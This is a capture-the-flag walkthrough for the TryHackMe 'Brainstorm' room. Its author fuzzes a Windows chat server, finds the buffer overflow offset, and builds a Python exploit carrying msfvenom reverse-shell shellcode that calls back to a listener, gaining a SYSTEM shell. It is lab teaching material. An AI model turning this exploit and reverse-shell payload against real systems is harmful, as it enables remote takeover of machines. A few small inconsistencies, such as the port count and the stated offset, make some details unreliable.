THM Brainstorm Walkthrough
Reverse engineer a chat program and write a script to exploit a Windows machine.THM Room: here
Information Gathering
Let's begin with a nmap scan to gather some information:
sudo nmap -p 1-5000-v -Pn 10.10.128.96
Since the the THM Brainstorm machine is blocking ping probes you have to add the -Pn flag.
After we found the two open ports 21, 3389, and 9999 it's time to enumerate them further:
sudo nmap -p 21,3389,9999 -sV -sC -v -Pn -T4 10.10.128.96
- Port 21: Microsoft ftpd
- Anonymous login allowed
- Port 3389: ms-wbt-server
- Port 9999: abyss
Accessing FTP
We can access the FTP server using ftp 10.10.128.96
, anonymous as the username and an empty password.
On that server is a directory called "chatserver" that contains two files:
- chatserver.exe
- essfunc.dll
As these files are for execution I changed into the binary mode with binary
.
Time to download these two files onto our local machine with get <FILENAME>
.
I then transferred those files from my Linux VM onto my Windows VM.
Analyzing the executable
I started ImmunityDebugger with admin privileges and opened the chatserver executable in it.
Looks like there are two attack vectors: The username input and the message input itself. Besides those two there do not appear to be any other user inputs.
Using Python I created a string of A's with a length of 100 characters and used it for my username. Neither on the client-side nor the server-side the application seemed to crash and the username got cut after 20 characters which shows that this user input is probably sanitized in a way that prevents a Buffer Overflow.
I repeated the procedure with a username consisting of 1000x 'A' but the result was the same.
Next, I sent a message of 1,000 'A' which didn't crash the server but when I sent one with a length of 10,000 it did, which means we can probably trigger a Buffer Overflow with the message input.
Reproducing the Crash
Now, let's check what amount of bytes triggers a crash, for that the following script was used:
0import socket
1import sys
2import time
3
4
5ip = '10.0.2.15'
6port = 9999
7timeout = 5
8
9string = 'A' * 100
10
11while True:
12 try:
13 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
14 s.settimeout(timeout)
15 s.connect((ip, port))
16 s.recv(1024)
17 s.send(bytes('nop\r\n', 'latin-1'))
18 s.recv(1024)
19 print('Fuzzing with {} bytes'.format(len(string)))
20 s.send(bytes(string + '\r\n', 'latin-1'))
21 s.recv(1024)
22 except:
23 print('Fuzzing crashed at {} bytes'.format(len(string)))
24 sys.exit(0)
25 string += 'A' * 100
26 time.sleep(1)
The result was a crash at 2400 bytes.
Finding the exact offset
Time to adjust the above script to find the exact offset for EIP:
0import socket
1import sys
2import time
3
4
5ip = '10.0.2.15'
6port = 9999
7timeout = 5
8
9string = 'A' * 2000
10string += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A...'
11
12
13with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
14 s.settimeout(timeout)
15 s.connect((ip, port))
16 s.recv(1024)
17 s.send(bytes('nop\r\n', 'latin-1'))
18 s.recv(1024)
19 s.send(bytes(string + '\r\n', 'latin-1'))
20 s.recv(1024)
The pattern was created using the pattern_create tool provided by the metasploit-framwork:
./pattern_create.rb -l 400
EIP now stores 41346141
, we can find the offset with:
./pattern_offset.rb -l 400 -q 41346141
Result: [*] Exact match at offset 12
Finally, we have the offset to control EIP and ESP:
0import socket
1
2ip = '10.0.2.15'
3port = 9999
4timeout = 5
5
6string = 'A' * 2012
7string += 'B' * 4
8string += 'C' * 16
9
10
11with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12 s.settimeout(timeout)
13 s.connect((ip, port))
14 s.recv(1024)
15 s.send(bytes('nop\r\n', 'latin-1'))
16 s.recv(1024)
17 s.send(bytes(string + '\r\n', 'latin-1'))
Finding Bad Characters
Let's find potential bad characters with the following script:
0import socket
1
2ip = '10.0.2.15'
3port = 9999
4timeout = 5
5
6string = 'A' * 2012
7string += 'B' * 4
8string += '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
9
10
11with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
12 s.settimeout(timeout)
13 s.connect((ip, port))
14 s.recv(1024)
15 s.send(bytes('nop\r\n', 'latin-1'))
16 s.recv(1024)
17 s.send(bytes(string + '\r\n', 'latin-1'))
\x00 is not included here because that is a badchar for sure. By analyzing ESP we have to narrow down the characters we can use for our payload.
The memory showed that except \x00 there are no bad characters since from \x01 to \xff all appear.
Creating the exploit
Finally, it's time to craft the final exploit that is going to be used to compromise the TryHackMe Brainstorm machine.
Using msfvenom the shellcode for a reverse shell can be created:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.27.103 LPORT=4545 -b "\x00" -f python EXITFUNC=thread
"EXITFUNC=thread" prevents the chatserver executable from crashing after we terminate our shell.
Shikata_ga_nai automatically gets selected for encoding, because of that a decoder is needed on the other side to decode our shellcode. To prevent the decoder from overwriting the shellcode itself we are going to add some NOPs (\x90).
The address for EIP can be found using mona (!mona modules
and !mona jmp -r esp -cpb "\x00"
). As essfunc.dll is not protected by ASLR this is our best hit.
The second command provides us with the jump points found and their addresses, one of them is at 0x625014eb.
0import socket, sys
1
2ip = '10.10.164.115'
3port = 9999
4timeout = 5
5
6buffer = 'A' * 2012
7buffer += '\xeb\x14\x50\x62'
8
9buffer += '\x90' * 16
10shellcode = b""
11shellcode += b"\xd9\xcb\xbf\xaf\x4c\x4f\xdb\xd9\x74\x24\xf4"
12shellcode += b"\x5a\x31\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13"
13shellcode += b"\x03\xd5\x5f\xad\x2e\xd5\x88\xb3\xd1\x25\x49"
14shellcode += b"\xd4\x58\xc0\x78\xd4\x3f\x81\x2b\xe4\x34\xc7"
15shellcode += b"\xc7\x8f\x19\xf3\x5c\xfd\xb5\xf4\xd5\x48\xe0"
16shellcode += b"\x3b\xe5\xe1\xd0\x5a\x65\xf8\x04\xbc\x54\x33"
17shellcode += b"\x59\xbd\x91\x2e\x90\xef\x4a\x24\x07\x1f\xfe"
18shellcode += b"\x70\x94\x94\x4c\x94\x9c\x49\x04\x97\x8d\xdc"
19shellcode += b"\x1e\xce\x0d\xdf\xf3\x7a\x04\xc7\x10\x46\xde"
20shellcode += b"\x7c\xe2\x3c\xe1\x54\x3a\xbc\x4e\x99\xf2\x4f"
21shellcode += b"\x8e\xde\x35\xb0\xe5\x16\x46\x4d\xfe\xed\x34"
22shellcode += b"\x89\x8b\xf5\x9f\x5a\x2b\xd1\x1e\x8e\xaa\x92"
23shellcode += b"\x2d\x7b\xb8\xfc\x31\x7a\x6d\x77\x4d\xf7\x90"
24shellcode += b"\x57\xc7\x43\xb7\x73\x83\x10\xd6\x22\x69\xf6"
25shellcode += b"\xe7\x34\xd2\xa7\x4d\x3f\xff\xbc\xff\x62\x68"
26shellcode += b"\x70\x32\x9c\x68\x1e\x45\xef\x5a\x81\xfd\x67"
27shellcode += b"\xd7\x4a\xd8\x70\x18\x61\x9c\xee\xe7\x8a\xdd"
28shellcode += b"\x27\x2c\xde\x8d\x5f\x85\x5f\x46\x9f\x2a\x8a"
29shellcode += b"\xc9\xcf\x84\x65\xaa\xbf\x64\xd6\x42\xd5\x6a"
30shellcode += b"\x09\x72\xd6\xa0\x22\x19\x2d\x23\x47\xd5\x36"
31shellcode += b"\xd4\x3f\xeb\x48\x0b\x01\x62\xae\x41\x91\x23"
32shellcode += b"\x79\xfe\x08\x6e\xf1\x9f\xd5\xa4\x7c\x9f\x5e"
33shellcode += b"\x4b\x81\x6e\x97\x26\x91\x07\x57\x7d\xcb\x8e"
34shellcode += b"\x68\xab\x63\x4c\xfa\x30\x73\x1b\xe7\xee\x24"
35shellcode += b"\x4c\xd9\xe6\xa0\x60\x40\x51\xd6\x78\x14\x9a"
36shellcode += b"\x52\xa7\xe5\x25\x5b\x2a\x51\x02\x4b\xf2\x5a"
37shellcode += b"\x0e\x3f\xaa\x0c\xd8\xe9\x0c\xe7\xaa\x43\xc7"
38shellcode += b"\x54\x65\x03\x9e\x96\xb6\x55\x9f\xf2\x40\xb9"
39shellcode += b"\x2e\xab\x14\xc6\x9f\x3b\x91\xbf\xfd\xdb\x5e"
40shellcode += b"\x6a\x46\xfb\xbc\xbe\xb3\x94\x18\x2b\x7e\xf9"
41shellcode += b"\x9a\x86\xbd\x04\x19\x22\x3e\xf3\x01\x47\x3b"
42shellcode += b"\xbf\x85\xb4\x31\xd0\x63\xba\xe6\xd1\xa1"
43
44
45string = bytes(buffer, 'latin-1')
46string += shellcode
47
48try:
49 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
50 s.settimeout(timeout)
51 s.connect((ip, port))
52 s.recv(1024)
53 s.send(bytes('nop\r\n', 'latin-1'))
54 s.recv(1024)
55 s.send(string)
56 s.recv(1024)
57except Exception as e:
58 print(e)
59finally:
60 s.close()
Time to start the local netcat listener (nc -lvnp 4545
) and execute the script.
Eventually, we got our shell as nt authority/system on the system and can obtain the root flag using type
in "C:\Users\drake\Desktop".
Tags:
TryHackMe, THM, Brainstorm, Reverse Engineering, RE